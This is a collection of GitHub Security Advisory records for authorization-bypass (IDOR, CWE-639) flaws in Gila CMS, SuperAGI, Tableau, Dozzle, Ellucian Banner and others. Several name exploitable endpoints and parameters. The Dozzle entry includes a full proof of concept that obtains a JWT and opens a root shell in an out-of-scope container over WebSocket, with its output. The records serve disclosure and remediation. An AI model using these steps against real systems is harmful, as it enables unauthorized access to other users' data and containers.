CWE-639

{
  "affected": [],
  "aliases": [
    "CVE-2021-37777"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-04T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Gila CMS 2.2.0 is vulnerable to Insecure Direct Object Reference (IDOR). Thumbnails uploaded by one site owner are visible by another site owner just by knowing the other site name and fuzzing for picture names. This leads to sensitive information disclosure.",
  "id": "GHSA-m6vx-x725-7c66",
  "modified": "2022-05-24T19:16:29Z",
  "published": "2022-05-24T19:16:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37777"
    },
    {
      "type": "WEB",
      "url": "https://www.navidkagalwalla.com/gila-cms-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-12048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-304",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:26Z",
    "severity": "HIGH"
  },
  "details": "An IDOR (Insecure Direct Object Reference) vulnerability exists in transformeroptimus/superagi version v0.0.14. The application fails to properly check authorization for multiple API endpoints, allowing attackers to view, edit, and delete other users\u0027 information without proper authorization. Affected endpoints include but are not limited to /get/project/{project_id}, /get/schedule_data/{agent_id}, /delete/{agent_id}, /get/organisation/{organisation_id}, and /get/user/{user_id}.",
  "id": "GHSA-m74w-gj86-32q9",
  "modified": "2025-03-20T12:32:42Z",
  "published": "2025-03-20T12:32:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12048"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/6def3e3a-c443-44bb-b20e-3e69b48f37dc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-52447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-25T19:15:40Z",
    "severity": "HIGH"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Salesforce Tableau Server on Windows, Linux (set-initial-sql tabdoc command modules) allows Interface Manipulation (data access to the production database cluster). This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.",
  "id": "GHSA-m77x-qwf3-vq9r",
  "modified": "2025-07-25T21:33:50Z",
  "published": "2025-07-25T21:33:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52447"
    },
    {
      "type": "WEB",
      "url": "https://help.salesforce.com/s/articleView?id=005105043\u0026type=1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-3574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T09:15:13Z",
    "severity": "HIGH"
  },
  "details": "Insecure Direct Object Reference vulnerability in Deporsite from T-INNOVA allows an attacker to retrieve sensitive information from others users via \"idUsuario\" parameter in \"/helper/Familia/obtenerFamiliaUsuario\" endpoint.",
  "id": "GHSA-m787-xmrc-4c9m",
  "modified": "2025-04-15T09:30:34Z",
  "published": "2025-04-15T09:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3574"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/insecure-direct-object-reference-deporsite-t-innova"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-57886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-22T12:15:31Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Equalize Digital Accessibility Checker by Equalize Digital allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Accessibility Checker by Equalize Digital: from n/a through 1.30.0.",
  "id": "GHSA-m7f6-j7vh-w4wf",
  "modified": "2026-04-01T18:35:57Z",
  "published": "2025-08-22T12:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57886"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/accessibility-checker/vulnerability/wordpress-accessibility-checker-by-equalize-digital-plugin-1-30-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-0987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-03T12:15:33Z",
    "severity": "CRITICAL"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in CB Project Ltd. Co. CVLand allows Parameter Injection.This issue affects CVLand: from 2.1.0 through 20251103.",
  "id": "GHSA-m7jf-822w-6x6h",
  "modified": "2026-06-06T09:31:14Z",
  "published": "2025-11-03T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0987"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0371"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-25-0371"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-1614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-20T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "The WP-EMail WordPress plugin before 2.69.0 prioritizes getting a visitor\u0027s IP from certain HTTP headers over PHP\u0027s REMOTE_ADDR, which makes it possible to bypass IP-based anti-spamming restrictions.",
  "id": "GHSA-m7mv-qpw5-vp4f",
  "modified": "2022-06-29T00:00:24Z",
  "published": "2022-06-21T00:00:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1614"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/a5940d0b-6b88-4418-87e2-02c0897bc2f1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-49339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-13T01:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Ellucian Banner 9.17 allows Insecure Direct Object Reference (IDOR) via a modified bannerId to the /StudentSelfService/ssb/studentCard/retrieveData endpoint.",
  "id": "GHSA-m839-rvvg-g25r",
  "modified": "2024-10-10T18:31:07Z",
  "published": "2024-02-13T03:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49339"
    },
    {
      "type": "WEB",
      "url": "https://github.com/3zizme/CVE-2023-49339"
    },
    {
      "type": "WEB",
      "url": "https://www.ellucian.com/solutions/ellucian-banner"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.1-0.20260125230338-620e59aa2463"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-27T00:55:33Z",
    "nvd_published_at": "2026-01-27T21:16:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA flaw in Dozzle\u2019s agent-backed shell endpoints allows a user restricted by label filters (for example, `label=env=dev`) to obtain an interactive root shell in out\u2011of\u2011scope containers (for example, `env=prod`) on the same agent host by directly targeting their container IDs.\n\n**Note**: Tested on `v9.0.2` likely affects all versions with agent mode support.\n\n### Details\nWhen SIMPLE auth is enabled, Dozzle supports per\u2011user label filters in `users.yaml` (for example, filter: `label=env=dev`) to restrict which containers a user can see and interact with. These filters are propagated into the shell handlers, which resolve the target container via `h.hostService.FindContainer(hostKey(r), id, userLabels)` in both the attach and exec WebSocket endpoints, intending to limit shell access to containers within the user\u2019s label scope.\n\nFor agent-backed hosts, the corresponding implementation ignores the label scope when resolving a container by ID ([agent_service.go#L27-L29](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L27-L29)):\n```go\nfunc (a *agentService) FindContainer(ctx context.Context, id string, labels container.ContainerLabels) (container.Container, error) {\n    return a.client.FindContainer(ctx, id)\n}\n```\n\nAs a result, an authenticated user configured with filter: `label=env=dev` and granted the shell role cannot see `env=prod` containers in the UI, but can still establish an interactive exec session into an `env=prod` container by calling `/api/hosts/{hostId}/containers/{containerId}/exec` (or `/attach`) with a valid JWT and the target container ID. This discrepancy between listing and exec/attach behavior breaks the intended label\u2011based isolation between environments or tenants for agent-backed deployments.\n\n**Note**: The underlying Docker client implementation explicitly documents that `FindContainer` skips filters ([docker/client.go#L128-L137](https://github.com/amir20/dozzle/blob/master/internal/docker/client.go#L128-L137)):\n```go\n// Finds a container by id, skipping the filters\nfunc (d *DockerClient) FindContainer(ctx context.Context, id string) (container.Container, error) {\n    log.Debug().Str(\"id\", id).Msg(\"Finding container\")\n    if json, err := d.cli.ContainerInspect(ctx, id); err == nil {\n        return newContainerFromJSON(json, d.host.ID), nil\n    } else {\n        return container.Container{}, err\n    }\n}\n```\n\n**Note**: For reference, we can see the correct implementation in `ListContainers` ([agent_service.go#L43-L46](https://github.com/amir20/dozzle/blob/master/internal/support/container/agent_service.go#L43-L46)):\n```go\nfunc (a *agentService) ListContainers(ctx context.Context, labels container.ContainerLabels) ([]container.Container, error) {\n\tlog.Debug().Interface(\"labels\", labels).Msg(\"Listing containers from agent\")\n\treturn a.client.ListContainers(ctx, labels)\n}\n```\n### PoC\n```bash\n# create new dir\n$ cd /tmp \u0026\u0026 mkdir -p /tmp/dozzle \u0026\u0026 cd /tmp/dozzle \u0026\u0026 mkdir -p data\n\n# run dozzle agent\n$ docker run -d --name dozzle-agent \\\n  -v /var/run/docker.sock:/var/run/docker.sock:ro \\\n  -p 7007:7007 \\\n  amir20/dozzle:latest agent\n\n# sleep\n$ sleep 5\n\n# run dev container\n$ docker run -d --name dev-allowed --label env=dev alpine sleep 100000\n\n# run prod container\n$ docker run -d --name prod-secret --label env=prod alpine sleep 100000\n\n# check containers status\n$ docker ps --format \"table {{.ID}}\\t{{.Names}}\\t{{.Label \\\"env\\\"}}\" | grep -E \u0027dev-allowed|prod-secret\u0027\n3731627f4e2d   prod-secret    prod\n51e6cffce99f   dev-allowed    dev\n\n# get hash for pass:devpass\n$ HASH=$(printf \u0027devpass\u0027 | sha256sum | awk \u0027{print $1}\u0027)\n\n# create dev user\n$ cat \u003e /tmp/dozzle/data/users.yaml \u003c\u003c EOF\nusers:\n  devuser:\n    email: dev@example.com\n    name: Dev User\n    password: ${HASH}\n    filter: \"label=env=dev\"\n    roles: \"shell\"\nEOF\n\n# sanity check users \n$ cat /tmp/dozzle/data/users.yaml\nusers:\n  devuser:\n    email: dev@example.com\n    name: Dev User\n    password: fee39c23856e3d9dd500861a30903548b8878994291b2fef7fff2f53b3073c0c\n    filter: \"label=env=dev\"\n    roles: \"shell\"\n\n# run main image\n$ docker run -d --name dozzle-main \\\n  -v /tmp/dozzle/data:/data \\\n  -p 8080:8080 \\\n  -e DOZZLE_AUTH_PROVIDER=simple \\\n  -e DOZZLE_AUTH_TTL=48h \\\n  -e DOZZLE_ENABLE_SHELL=true \\\n  -e \"DOZZLE_REMOTE_AGENT=host.docker.internal:7007\" \\\n  amir20/dozzle:latest\n\n# sleep\n$ sleep 8\n\n# get jwt token for devuser\n$ curl -s -X POST http://localhost:8080/api/token \\\n  -d \"username=devuser\u0026password=devpass\" \\\n  -c /tmp/dozzle/cookies.txt\n\n# save the token\n$ TOKEN=$(grep jwt /tmp/dozzle/cookies.txt | awk \u0027{print $7}\u0027)\n\n# in browser open http://localhost:8080 -\u003e login with user:devuser pass:devpass -\u003e grab host http://localhost:8080/host/cafb9ffc-ac34-47a6-985b-10ffea39610e\n$ HOST_ID=\"cafb9ffc-ac34-47a6-985b-10ffea39610e\"\n\n# get prod cid\n$ PROD_CID=$(docker ps --filter \"name=prod-secret\" --format \u0027{{.ID}}\u0027)\n\n# sanity check\n$ echo $PROD_CID\n3731627f4e2d\n\n# install wscat\n$ npm install -g wscat\n\n# open wscat with token\n$ wscat -c \"ws://localhost:8080/api/hosts/${HOST_ID}/containers/${PROD_CID}/exec\" \\\n  -H \"Cookie: jwt=${TOKEN}\"\nConnected (press CTRL+C to quit)\n\u003c / # \n/ # \n\u003e {\"type\":\"userinput\",\"data\":\"id\\n\"}\n\u003c id\n\n\u003c uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/ # \n\u003e {\"type\":\"userinput\",\"data\":\"cat /etc/hostname\\n\"}\n\u003c cat /etc/hostname\n\n\u003c 3731627f4e2d\n\n\u003c / # \n\u003e quit\nDisconnected (code: 1006, reason: \"\")\n```\nAs configured, `devuser` only sees dev-allowed in the Dozzle UI (due to filter: `label=env=dev`), but can still open a root shell in prod-secret via the agent-backed exec endpoint by supplying its container ID.\n\n### Impact\nThis is an authorization bypass in environments that rely on SIMPLE auth label filters together with agents to separate environments or tenants. A user who should be constrained to a specific label set (for example, `env=dev`) but has the Shell role can gain full interactive access (**read**, **modify**, **disrupt**) to containers with other labels (for example, `env=prod`) on the same agent host, provided they can obtain the target container ID.\n\n### Remediation\n- In the agent-backed `FindContainer` implementation, enforce the same label-based filtering semantics as the Docker/Kubernetes host implementations by ensuring the requested (host, containerId) is within the set returned by `ListContainers` for the caller\u2019s `userLabels` before returning it to exec/attach.\n\n- Add regression tests verifying that a user with filter: `label=env=dev` and the Shell role cannot exec or attach into `env=prod` containers via the agent path, even when supplying a valid container ID.\n\n- As defense in depth, reject exec/attach requests when the resolved container is not present in the user-visible subset returned by the list API under the same label filter.\n\nThis issue has been fixed in version 9.0.3 but the Go registry only contains versions up to 1.29.0. Use Docker or GitHub to download \n9.0.3.\n\n### Resources\n- https://dozzle.dev/guide/authentication#setting-specific-filters-for-users",
  "id": "GHSA-m855-r557-5rc5",
  "modified": "2026-01-29T03:40:06Z",
  "published": "2026-01-27T00:55:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/security/advisories/GHSA-m855-r557-5rc5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24740"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/commit/620e59aa246347ba8a27e68c532853b8a5137bc1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amir20/dozzle"
    },
    {
      "type": "WEB",
      "url": "https://github.com/amir20/dozzle/releases/tag/v9.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dozzle Agent Label-Based Access Control Bypass Allows Unauthorized Container Shell Access"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-49112"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-20T13:15:49Z",
    "severity": "MODERATE"
  },
  "details": "Kiuwan provides an API endpoint\n\n/saas/rest/v1/info/application\n\nto get information about any \napplication, providing only its name via the \"application\" parameter. This endpoint lacks proper access \ncontrol mechanisms, allowing other authenticated users to read \ninformation about applications, even though they have not been granted \nthe necessary rights to do so.\n\n\n\nThis issue affects Kiuwan SAST: \u003cmaster.1808.p685.q13371",
  "id": "GHSA-m8h7-pff8-m5jq",
  "modified": "2025-11-04T18:31:01Z",
  "published": "2024-06-20T15:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49112"
    },
    {
      "type": "WEB",
      "url": "https://r.sec-consult.com/kiuwan"
    },
    {
      "type": "WEB",
      "url": "https://www.kiuwan.com/docs/display/K5/%5B2024-05-30%5D+Change+Log"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jun/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}